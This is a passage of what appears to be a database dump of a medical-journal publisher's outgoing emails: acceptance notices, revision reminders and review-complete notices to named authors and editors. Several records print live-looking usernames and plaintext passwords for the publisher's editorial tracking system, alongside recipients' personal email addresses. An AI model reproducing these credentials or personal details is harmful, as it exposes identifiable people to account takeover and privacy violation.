cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6761</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence of Anaemia in Muslim population</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Verma</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','biochemistpriyanka@gmail.com',6761,'2020-12-08',48),(2346,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6751</b><br />\r\n            <br />\r\n            Article Title: <b>Left Ventricular Hypertrophy and its determinants among hypertensive patients attending a cardiac specialty Hospital</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Adhikari</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bebitaadhikari80@gmail.com',6751,'2020-12-08',48),(2347,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6769</b><br />\r\n            <br />\r\n            Article Title: <b>Virtual Urology Clinics during the Covid19 Pandemic -The Lanarkshire Experience</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mokool</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','leenesh1@gmail.com',6769,'2020-12-09',85),(2350,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6695</b><br />\r\n            <br />\r\n            Article Title: <b>Cervical cystic lymphangioma: a case report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.transbiomedicine.com/\" target=\"_blank\">Translational Biomedicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gliti</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Translational Biomedicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mohamed.ali.gliti@gmail.com',6695,'2020-12-09',673),(2352,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6764</b><br />\r\n            <br />\r\n            Article Title: <b>The Urology Checklist: Towards a structured consultant-led ward round</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Elsawi Osman</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6764</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',6764,'2020-12-09',85),(2355,'<p>Ref.:  Ms. No. : <b>ipaom-20-6348</b><br />\r\n<br />\r\nARTICLE TITLE: <b>REFUGEE HEALTH AND COVID-19 RESPONSE: HOW ARE COUNTRIES AROUND THE WORLD DEALING WITH  FORCIBLY DISPLACED PEOPLE IN THE PANDEMIC TIME?</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. da Cruz</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6348</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>italo_silva</b><br />\r\npassword: <b>yX7DkIyk</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','itallo.sillva@hotmail.com',6348,'2020-12-10',85),(2356,'<p>Ref.:  Ms. No. : <b>ipaom-20-6347</b><br />\r\n<br />\r\nARTICLE TITLE: <b>AN OPEN-AIR NIGHTMARE: THE CURRENT CONCERNS ABOUT LEBANESE PEOPLE AND THEIR MENTAL HEALTH</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto </b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6347</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto</b><br />\r\npassword: <b>WtUQmeLg</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','r.rrolim@bol.com.br',6347,'2020-12-10',85),(2357,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6775</b><br />\r\n            <br />\r\n            Article Title: <b>Cardiovascular Disease Risk Assessment among Female Residents at the National Guard Residential City, Jeddah, Saudi Arabia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Khouja</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jumanahkhouja@gmail.com',6775,'2020-12-10',85),(2358,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6764</b><br />\r\n            <br />\r\n            Article Title: <b>The Urology Checklist: Towards a structured consultant-led ward round</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Osman</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sawi11@hotmail.com',6764,'2020-12-10',85),(2362,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6572</b><br />\r\n            <br />\r\n            Article Title: <b>Antibody testing for Covid-19: An open-labelled, pan-European prevalence study in front-line essential workers; UK and Ireland reporting</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Eric Bouilloux</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6572</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',6572,'2020-12-11',85),(2364,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6837</b><br />\r\n            <br />\r\n            Article Title: <b> Knowledge and Attitude Towards Organ Donation Among Driver&rsquo;s  License Applicants in Metro Manila, Philippines</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ordo&Atilde;&plusmn;a</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bernadette.ecunar@gmail.com',6837,'2020-12-11',48),(2366,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6808</b><br />\r\n            <br />\r\n            Article Title: <b>Caregivers&acirc;&euro;&trade; healthcare seeking behavior and associated factors for common childhood illness, Haro Gibe Kebele, Asendabo Town, Southwest Ethiopia.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>seid</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','shekaa2006@gmail.com',6808,'2020-12-11',48),(2367,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-6751</b><br />\r\n            <br />\r\n            Article Title: <b>Left Ventricular Hypertrophy and its determinants among hypertensive patients attending a cardiac specialty Hospital</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Adhikari</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bebitaadhikari80@gmail.com',6751,'2020-12-11',48),(2368,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6731</b><br />\r\n            <br />\r\n            Article Title: <b>A descriptive study on contact tracing of Pulmonary Tuberculosis in Sri Lanka.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Nilantha Pushpakumara Gamalathge</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>R. Gainetdinov</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iptb-20-6731</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','raul.gainetdinov@iit.it',6731,'2020-12-12',673),(2369,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6572</b><br />\r\n            <br />\r\n            Article Title: <b>Antibody testing for Covid-19: An open-labelled, pan-European prevalence study in front-line essential workers; UK and Ireland reporting</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Bouilloux</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-20-6572</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>eric</b><br />\r\n            Password : <b>arlasRYC</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','Eric_Bouilloux@Accord-Healthcare.com',6572,'2020-12-12',85),(2373,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6689</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence of depression among hospital based Rheumatoid arthritis population and its associated factors </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shokry</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-12-14</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Dr.hendsamy.com@hotmail.com',6689,'2020-12-15',85),(2374,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iptb-20-6732</b><br />\r\n            <br />\r\n            Article Title: <b>A STUDY OF PLACENTALVASCULAR CHANGES IN PRE-ECLAMPSIA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Nilantha Pushpakumara Gamalathge</b><br />\r\n            <br />\r\n            Journal Title: <b>Translational Biomedicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Berezin</b><br />\r\n            <br />\r\n            The review for the manuscript <b>iptb-20-6732</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.transbiomedicine.com/\">Translational Biomedicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','dr_berezin@mail.ru',6732,'2020-12-15',673),(2375,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6797</b><br />\r\n            <br />\r\n            Article Title: <b>Long-term outcomes in women and men population participating in program of Managed Care after Acute Myocardial Infarction ( MC-AMI), a 12-months follow-up from a single cardiology care center.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Katarzyna Wilkosz</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Richard </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6797</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> m._fleming<br />\r\n            <b>Password:</b> F3hTrCHA<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','drrichardmfleming@gmail.com',6797,'2020-12-15',85),(2376,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-6782</b><br />\r\n            <br />\r\n            Article Title: <b>An Unusual Cause of Tachycardia: Focal Nonconvulsive Status Epilepticus Following Acute Head Trauma</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Bruce Grattan</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-6782</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing 